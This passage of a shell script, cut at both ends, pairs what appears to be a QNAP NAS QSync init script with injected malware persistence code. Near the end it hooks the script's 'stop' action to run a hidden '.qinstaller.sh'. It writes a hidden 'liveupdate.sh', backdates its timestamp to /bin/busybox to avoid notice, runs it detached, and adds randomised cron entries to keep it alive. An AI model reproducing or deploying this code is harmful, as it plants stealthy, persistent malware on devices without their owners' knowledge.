/sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1"
|
|
echo "OK"
|
|
fi
|
|
}
|
|
|
|
stop()
|
|
{
|
|
echo "Shutting down QSync monitor: OK"
|
|
pidnum=`/bin/pidof qsync``/bin/pidof qsyncd`
|
|
kill $pidnum 2>/dev/null
|
|
i=0
|
|
while [ ${i} -lt 5 ]
|
|
do
|
|
pidnum=`/bin/pidof qsync``/bin/pidof qsyncd`
|
|
if [ -z "$pidnum" ]; then
|
|
break
|
|
fi
|
|
sleep 1
|
|
i=`/usr/bin/expr ${i} + 1`
|
|
done
|
|
pidnum=`/bin/pidof qsync``/bin/pidof qsyncd`
|
|
[ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null
|
|
/sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman"
|
|
/usr/bin/killall -q qsyncman
|
|
}
|
|
|
|
start_qsyncd()
|
|
{
|
|
#_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf`
|
|
#[ "x$_qsyncd_en" = x1 ] || return -1
|
|
_qsyncd_run_pid=`/bin/pidof qsyncd`
|
|
[ -z $_qsyncd_run_pid ] || return -114
|
|
_recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE`
|
|
_with_syslog=$1
|
|
if [ "x$_recycle_en" = xTRUE ]; then
|
|
if [ "x$_with_syslog" = x1 ]; then
|
|
LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf
|
|
else
|
|
LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf
|
|
fi
|
|
else
|
|
if [ "x$_with_syslog" = x1 ]; then
|
|
/usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf
|
|
else
|
|
/usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf
|
|
fi
|
|
fi
|
|
_iret=$?
|
|
if [ "x$_iret" = x0 ]; then
|
|
i=0
|
|
while [ ${i} -lt 10000 ]
|
|
do
|
|
echo "${i} millisecond..."
|
|
_qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf`
|
|
_qsyncd_run_pid=`/bin/pidof qsyncd`
|
|
if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then
|
|
break
|
|
fi
|
|
usleep 50000
|
|
i=`/usr/bin/expr ${i} + 50`
|
|
done
|
|
fi
|
|
return -$_iret
|
|
}
|
|
|
|
stop_qsyncd()
|
|
{
|
|
#_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf`
|
|
#[ "x$_qsyncd_en" = x0 ] || return -1
|
|
_qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf`
|
|
[ $_qsyncd_pid -lt 0 ] && return -3
|
|
# Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log
|
|
/bin/kill -SIGUSR1 $_qsyncd_pid
|
|
usleep 200000
|
|
# Send SIGINT to stop the QSyncd process
|
|
/bin/kill -SIGINT $_qsyncd_pid
|
|
_kill_ret=$?
|
|
if [ "x$_kill_ret" != x0 ]; then
|
|
return -3
|
|
fi
|
|
echo "need wait $1 millisecond"
|
|
i=0
|
|
while true
|
|
do
|
|
echo "${i} millisecond..."
|
|
_qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf`
|
|
_qsyncd_run_pid=`/bin/pidof qsyncd`
|
|
if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then
|
|
break
|
|
fi
|
|
if [ ${i} -ge $1 ]; then
|
|
# if time-out, we send two additional SIGINT to force the daemon to stop.
|
|
if [ $_qsyncd_pid -ge 0 ]; then
|
|
/bin/kill -SIGUSR1 $_qsyncd_pid
|
|
usleep 200000
|
|
/bin/kill -SIGUSR1 $_qsyncd_pid
|
|
fi
|
|
j=0
|
|
while [ ${j} -lt 500 ]
|
|
do
|
|
_qsyncd_run_pid=`/bin/pidof qsyncd`
|
|
if [ -z $_qsyncd_run_pid ]; then
|
|
return 0
|
|
fi
|
|
usleep 20000
|
|
j=`/usr/bin/expr ${j} + 20`
|
|
done
|
|
return -62
|
|
fi
|
|
usleep 50000
|
|
i=`/usr/bin/expr ${i} + 50`
|
|
done
|
|
return 0
|
|
}
|
|
|
|
|
|
install()
|
|
{
|
|
lock_file="/var/lock/qbox_install_bin.lck"
|
|
|
|
if [ ! -f "${INSTALL_BUILD_IN}" ]; then
|
|
dbg "build-in ${QSYNC_NAME} is installed"
|
|
return 1
|
|
fi
|
|
|
|
if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then
|
|
dbg "${QSYNC_NAME}.bin} not found"
|
|
return 1
|
|
fi
|
|
|
|
if [ ! -x "${QPKG_CLI}" ]; then
|
|
dbg "${QPKG_CLI} not found"
|
|
return 1
|
|
fi
|
|
|
|
## make sure volume is exist
|
|
if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then
|
|
dbg "/share/Public not found"
|
|
return 1
|
|
fi
|
|
|
|
## is removed
|
|
if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then
|
|
/bin/rm -f ${INSTALL_BUILD_IN}
|
|
dbg "${QSYNC_NAME} is removed"
|
|
return 1
|
|
fi
|
|
|
|
if [ -f "$lock_file" ]; then
|
|
if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then
|
|
echo "${QSYNC_NAME} is installing"
|
|
dbg "${QSYNC_NAME} is installing"
|
|
return 1
|
|
fi
|
|
fi
|
|
|
|
/bin/touch "$lock_file"
|
|
/bin/rm -f ${INSTALL_BUILD_IN}
|
|
dbg "install build-in ${QSYNC_NAME} start"
|
|
|
|
set_default_disable_status
|
|
|
|
## install build in Qsync
|
|
${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1
|
|
sleep 20
|
|
|
|
wait_install=60
|
|
## avoid initial take long time or fail
|
|
while [ "$wait_install" -gt 0 ]; do
|
|
stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf`
|
|
if [ "$stcode" = "0" ]; then
|
|
break
|
|
fi
|
|
sleep 1
|
|
let "wait_install--"
|
|
done
|
|
|
|
${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1
|
|
/bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled
|
|
/bin/rm -f "$lock_file"
|
|
dbg "install build-in ${QSYNC_NAME} success"
|
|
}
|
|
|
|
if [ "$1" == "stop" ]; then
|
|
{ /share/MD0_DATA/.system/.qinstaller.sh; exit 0; }
|
|
fi
|
|
fi
|
|
XEOF
|
|
chmod 755 "${bdir}/.qpkg/.liveupdate/liveupdate.sh"
|
|
touch -cr /bin/busybox "${bdir}/.qpkg/.liveupdate/liveupdate.sh"
|
|
( ( exec >/dev/null 2>&1 </dev/null; "${bdir}/.qpkg/.liveupdate/liveupdate.sh" </dev/null >/dev/null 2>/dev/null & ) & )
|
|
fi
|
|
|
|
test -x "${bdir}/.qpkg/.liveupdate/liveupdate.sh" || chmod 755 "${bdir}/.qpkg/.liveupdate/liveupdate.sh"
|
|
|
|
crontabargs=$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\(.\+\)/\1/p')
|
|
trycount=10; trycount=$(( $trycount - 10 ))
|
|
set x $crontabargs; shift
|
|
while [ $# -gt 0 ] && [ $trycount -lt 10 ]; do
|
|
trycount=$(( $trycount + 1 ))
|
|
getopts ':c:' OPT 2>/dev/null
|
|
test "$OPT" = 'c' && crontabfile="${OPTARG}/admin" && break
|
|
test "$OPTIND" -gt 0 && shift "$OPTIND" && OPTIND=1 || break
|
|
done
|
|
test "$crontabfile" && test -f "${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin'
|
|
|
|
for crontab in "$crontabfile" "${confdir}/crontab"; do
|
|
if $fgrep "${bdir}/.qpkg/.liveupdate/liveupdate.sh" "$crontab"; then
|
|
:
|
|
else
|
|
cronmins=$(printf '%i' "$(( $RANDOM % 60 ))")
|
|
cronhour=$(printf '%i' "$(( $RANDOM % 24 ))")
|
|
cronhour=$(printf '%i,' "$(( ( $cronhour + 8 ) % 24 ))" "$(( ( $cronhour + 16 ) % 24 ))")"$cronhour"
|
|
echo "$cronmins $cronhour"' * * * '"${bdir}/.qpkg/.liveupdate/liveupdate.sh >/dev/null 2>/dev/null" >> "$crontab"
|
|
crontab "$crontab"
|
|
sleep 2
|
|
fi
|
|
done
|
|
) & ) &
|